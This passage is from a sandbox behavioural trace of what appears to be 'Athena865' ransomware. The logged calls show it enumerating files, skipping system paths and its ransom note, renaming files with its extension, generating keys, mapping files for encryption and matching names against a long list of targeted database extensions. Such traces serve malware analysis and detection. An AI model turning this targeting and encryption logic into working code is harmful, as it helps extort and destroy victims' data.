pbBuffer=0x241d1d8) returned 1 [0063.562] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.563] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x165810, lpName=0x0) returned 0x17c [0063.564] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x165810) returned 0x2d50000 [0063.618] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0063.618] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0063.618] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0063.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0063.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0063.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0063.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0063.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0063.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0063.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0063.620] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0063.632] CloseHandle (hObject=0x17c) returned 1 [0063.632] CloseHandle (hObject=0x154) returned 1 [0063.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0063.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0063.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0063.639] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".") returned 1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="..") returned 1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="windows") returned -1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="bootmgr") returned 1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="temp") returned -1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="pagefile.sys") returned 1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="boot") returned 1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ids.txt") returned 1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntuser.dat") returned 1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="perflogs") returned 1 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="MSBuild") returned 1 [0063.639] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0063.639] lstrcpyW (in: lpString1=0x241e8c6, lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms" [0063.639] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0063.639] lstrlenW (lpString="Athena865") returned 9 [0063.639] lstrcmpiW (lpString1="ce.xrm-ms", lpString2="Athena865") returned 1 [0063.639] lstrlenW (lpString=".dll") returned 4 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".dll") returned 1 [0063.639] lstrlenW (lpString=".lnk") returned 4 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".lnk") returned 1 [0063.639] lstrlenW (lpString=".ini") returned 4 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".ini") returned 1 [0063.639] lstrlenW (lpString=".sys") returned 4 [0063.639] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".sys") returned 1 [0063.639] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0063.639] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.Athena865") returned 97 [0063.639] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.athena865"), dwFlags=0x1) returned 1 [0063.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0063.640] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=715834) returned 1 [0063.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0063.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0063.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0063.641] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0063.641] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0063.641] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.642] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaef40, lpName=0x0) returned 0x17c [0063.643] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaef40) returned 0x2d50000 [0063.703] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0063.704] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0063.704] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0063.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0063.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0063.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0063.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0063.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0063.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0063.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0063.705] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0063.711] CloseHandle (hObject=0x17c) returned 1 [0063.711] CloseHandle (hObject=0x154) returned 1 [0063.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0063.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0063.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0063.714] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2=".") returned 1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="..") returned 1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="windows") returned -1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="bootmgr") returned 1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="temp") returned -1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="pagefile.sys") returned 1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="boot") returned 1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="ids.txt") returned 1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="ntuser.dat") returned 1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="perflogs") returned 1 [0063.714] lstrcmpiW (lpString1="setup.exe", lpString2="MSBuild") returned 1 [0063.714] lstrlenW (lpString="setup.exe") returned 9 [0063.714] lstrcpyW (in: lpString1=0x241e8c6, lpString2="setup.exe" | out: lpString1="setup.exe") returned="setup.exe" [0063.714] lstrlenW (lpString="setup.exe") returned 9 [0063.714] lstrlenW (lpString="Athena865") returned 9 [0063.714] lstrlenW (lpString=".dll") returned 4 [0063.715] lstrcmpiW (lpString1="setup.exe", lpString2=".dll") returned 1 [0063.715] lstrlenW (lpString=".lnk") returned 4 [0063.715] lstrcmpiW (lpString1="setup.exe", lpString2=".lnk") returned 1 [0063.715] lstrlenW (lpString=".ini") returned 4 [0063.715] lstrcmpiW (lpString1="setup.exe", lpString2=".ini") returned 1 [0063.715] lstrlenW (lpString=".sys") returned 4 [0063.715] lstrcmpiW (lpString1="setup.exe", lpString2=".sys") returned 1 [0063.715] lstrlenW (lpString="setup.exe") returned 9 [0063.715] lstrlenW (lpString="bak") returned 3 [0063.715] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0063.715] lstrlenW (lpString="ba_") returned 3 [0063.715] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0063.715] lstrlenW (lpString="dbb") returned 3 [0063.715] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0063.715] lstrlenW (lpString="vmdk") returned 4 [0063.715] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0063.715] lstrlenW (lpString="rar") returned 3 [0063.715] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0063.715] lstrlenW (lpString="zip") returned 3 [0063.715] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0063.715] lstrlenW (lpString="tgz") returned 3 [0063.715] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0063.715] lstrlenW (lpString="vbox") returned 4 [0063.715] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0063.715] lstrlenW (lpString="vdi") returned 3 [0063.715] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0063.715] lstrlenW (lpString="vhd") returned 3 [0063.715] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0063.715] lstrlenW (lpString="vhdx") returned 4 [0063.715] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0063.715] lstrlenW (lpString="avhd") returned 4 [0063.715] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0063.715] lstrlenW (lpString="db") returned 2 [0063.716] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0063.716] lstrlenW (lpString="db2") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0063.716] lstrlenW (lpString="db3") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0063.716] lstrlenW (lpString="dbf") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0063.716] lstrlenW (lpString="mdf") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0063.716] lstrlenW (lpString="mdb") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0063.716] lstrlenW (lpString="sql") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0063.716] lstrlenW (lpString="sqlite") returned 6 [0063.716] lstrcmpiW (lpString1="up.exe", lpString2="sqlite") returned 1 [0063.716] lstrlenW (lpString="sqlite3") returned 7 [0063.716] lstrcmpiW (lpString1="tup.exe", lpString2="sqlite3") returned 1 [0063.716] lstrlenW (lpString="sqlitedb") returned 8 [0063.716] lstrcmpiW (lpString1="etup.exe", lpString2="sqlitedb") returned -1 [0063.716] lstrlenW (lpString="xml") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0063.716] lstrlenW (lpString="$er") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0063.716] lstrlenW (lpString="4dd") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0063.716] lstrlenW (lpString="4dl") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0063.716] lstrlenW (lpString="^^^") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0063.716] lstrlenW (lpString="abs") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0063.716] lstrlenW (lpString="abx") returned 3 [0063.716] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0063.717] lstrlenW (lpString="accdb") returned 5 [0063.717] lstrcmpiW (lpString1="p.exe", lpString2="accdb") returned 1 [0063.717] lstrlenW (lpString="accdc") returned 5 [0063.717] lstrcmpiW (lpString1="p.exe", lpString2="accdc") returned 1 [0063.717] lstrlenW (lpString="accde") returned 5 [0063.717] lstrcmpiW (lpString1="p.exe", lpString2="accde") returned 1 [0063.717] lstrlenW (lpString="accdr") returned 5 [0063.717] lstrcmpiW (lpString1="p.exe", lpString2="accdr") returned 1 [0063.717] lstrlenW (lpString="accdt") returned 5 [0063.717] lstrcmpiW (lpString1="p.exe", lpString2="accdt") returned 1 [0063.717] lstrlenW (lpString="accdw") returned 5 [0063.717] lstrcmpiW (lpString1="p.exe", lpString2="accdw") returned 1 [0063.717] lstrlenW (lpString="accft") returned 5 [0063.717] lstrcmpiW (lpString1="p.exe", lpString2="accft") returned 1 [0063.717] lstrlenW (lpString="adb") returned 3 [0063.717] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0063.717] lstrlenW (lpString="adb") returned 3 [0063.717] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0063.717] lstrlenW (lpString="ade") returned 3 [0063.717] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0063.717] lstrlenW (lpString="adf") returned 3 [0063.717] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0063.717] lstrlenW (lpString="adn") returned 3 [0063.717] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0063.717] lstrlenW (lpString="adp") returned 3 [0063.717] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0063.717] lstrlenW (lpString="alf") returned 3 [0063.717] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0063.717] lstrlenW (lpString="ask") returned 3 [0063.717] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0063.717] lstrlenW (lpString="btr") returned 3 [0063.717] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0063.717] lstrlenW (lpString="cat") returned 3 [0063.717] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0063.718] lstrlenW (lpString="cdb") returned 3 [0063.718] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0063.718] lstrlenW (lpString="ckp") returned 3 [0063.718] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0063.718] lstrlenW (lpString="cma") returned 3 [0063.718] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0063.718] lstrlenW (lpString="cpd") returned 3 [0063.718] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0063.718] lstrlenW (lpString="dacpac") returned 6 [0063.718] lstrcmpiW (lpString1="up.exe", lpString2="dacpac") returned 1 [0063.718] lstrlenW (lpString="dad") returned 3 [0063.718] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0063.718] lstrlenW (lpString="dadiagrams") returned 10 [0063.718] lstrlenW (lpString="daschema") returned 8 [0063.718] lstrcmpiW (lpString1="etup.exe", lpString2="daschema") returned 1 [0063.718] lstrlenW (lpString="db-journal") returned 10 [0063.718] lstrlenW (lpString="db-shm") returned 6 [0063.718] lstrcmpiW (lpString1="up.exe", lpString2="db-shm") returned 1 [0063.718] lstrlenW (lpString="db-wal") returned 6 [0063.718] lstrcmpiW (lpString1="up.exe", lpString2="db-wal") returned 1 [0063.718] lstrlenW (lpString="dbc") returned 3 [0063.718] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0063.718] lstrlenW (lpString="dbs") returned 3 [0063.718] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0063.718] lstrlenW (lpString="dbt") returned 3 [0063.718] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0063.718] lstrlenW (lpString="dbv") returned 3 [0063.718] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0063.718] lstrlenW (lpString="dbx") returned 3 [0063.718] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0063.718] lstrlenW (lpString="dcb") returned 3 [0063.718] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0063.718] lstrlenW (lpString="dct") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0063.719] lstrlenW (lpString="dcx") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0063.719] lstrlenW (lpString="ddl") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0063.719] lstrlenW (lpString="dlis") returned 4 [0063.719] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0063.719] lstrlenW (lpString="dp1") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0063.719] lstrlenW (lpString="dqy") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0063.719] lstrlenW (lpString="dsk") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0063.719] lstrlenW (lpString="dsn") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0063.719] lstrlenW (lpString="dtsx") returned 4 [0063.719] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0063.719] lstrlenW (lpString="dxl") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0063.719] lstrlenW (lpString="eco") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0063.719] lstrlenW (lpString="ecx") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0063.719] lstrlenW (lpString="edb") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0063.719] lstrlenW (lpString="epim") returned 4 [0063.719] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0063.719] lstrlenW (lpString="fcd") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0063.719] lstrlenW (lpString="fdb") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0063.719] lstrlenW (lpString="fic") returned 3 [0063.719] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0063.720] lstrlenW (lpString="flexolibrary") returned 12 [0063.720] lstrlenW (lpString="fm5") returned 3 [0063.720] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0063.720] lstrlenW (lpString="fmp") returned 3 [0063.720] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0063.720] lstrlenW (lpString="fmp12") returned 5 [0063.720] lstrcmpiW (lpString1="p.exe", lpString2="fmp12") returned 1 [0063.720] lstrlenW (lpString="fmpsl") returned 5 [0063.720] lstrcmpiW (lpString1="p.exe", lpString2="fmpsl") returned 1 [0063.720] lstrlenW (lpString="fol") returned 3 [0063.720] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0063.720] lstrlenW (lpString="fp3") returned 3 [0063.720] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0063.720] lstrlenW (lpString="fp4") returned 3 [0063.720] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0063.720] lstrlenW (lpString="fp5") returned 3 [0063.720] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0063.720] lstrlenW (lpString="fp7") returned 3 [0063.720] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0063.720] lstrlenW (lpString="fpt") returned 3 [0063.720] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0063.720] lstrlenW (lpString="frm") returned 3 [0063.720] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0063.721] lstrlenW (lpString="gdb") returned 3 [0063.721] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0063.721] lstrlenW (lpString="gdb") returned 3 [0063.721] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0063.721] lstrlenW (lpString="grdb") returned 4 [0063.721] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0063.721] lstrlenW (lpString="gwi") returned 3 [0063.721] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0063.721] lstrlenW (lpString="hdb") returned 3 [0063.722] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0063.722] lstrlenW (lpString="his") returned 3 [0063.722] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0063.722] lstrlenW (lpString="ib") returned 2 [0063.722] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0063.722] lstrlenW (lpString="idb") returned 3 [0063.722] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0063.722] lstrlenW (lpString="ihx") returned 3 [0063.722] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0063.722] lstrlenW (lpString="itdb") returned 4 [0063.722] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0063.722] lstrlenW (lpString="itw") returned 3 [0063.722] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0063.722] lstrlenW (lpString="jet") returned 3 [0063.722] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0063.722] lstrlenW (lpString="jtx") returned 3 [0063.722] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0063.722] lstrlenW (lpString="kdb") returned 3 [0063.722] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0063.722] lstrlenW (lpString="kexi") returned 4 [0063.722] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0063.722] lstrlenW (lpString="kexic") returned 5 [0063.722] lstrcmpiW (lpString1="p.exe", lpString2="kexic") returned 1 [0063.722] lstrlenW (lpString="kexis") returned 5 [0063.722] lstrcmpiW (lpString1="p.exe", lpString2="kexis") returned 1 [0063.722] lstrlenW (lpString="lgc") returned 3 [0063.722] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0063.722] lstrlenW (lpString="lwx") returned 3 [0063.722] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0063.722] lstrlenW (lpString="maf") returned 3 [0063.722] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0063.722] lstrlenW (lpString="maq") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0063.723] lstrlenW (lpString="mar") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0063.723] lstrlenW (lpString="marshal") returned 7 [0063.723] lstrcmpiW (lpString1="tup.exe", lpString2="marshal") returned 1 [0063.723] lstrlenW (lpString="mas") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0063.723] lstrlenW (lpString="mav") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0063.723] lstrlenW (lpString="maw") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0063.723] lstrlenW (lpString="mdbhtml") returned 7 [0063.723] lstrcmpiW (lpString1="tup.exe", lpString2="mdbhtml") returned 1 [0063.723] lstrlenW (lpString="mdn") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0063.723] lstrlenW (lpString="mdt") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0063.723] lstrlenW (lpString="mfd") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0063.723] lstrlenW (lpString="mpd") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0063.723] lstrlenW (lpString="mrg") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0063.723] lstrlenW (lpString="mud") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0063.723] lstrlenW (lpString="mwb") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0063.723] lstrlenW (lpString="myd") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0063.723] lstrlenW (lpString="ndf") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0063.723] lstrlenW (lpString="nnt") returned 3 [0063.723] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0063.724] lstrlenW (lpString="nrmlib") returned 6 [0063.724] lstrcmpiW (lpString1="up.exe", lpString2="nrmlib") returned 1 [0063.724] lstrlenW (lpString="ns2") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0063.724] lstrlenW (lpString="ns3") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0063.724] lstrlenW (lpString="ns4") 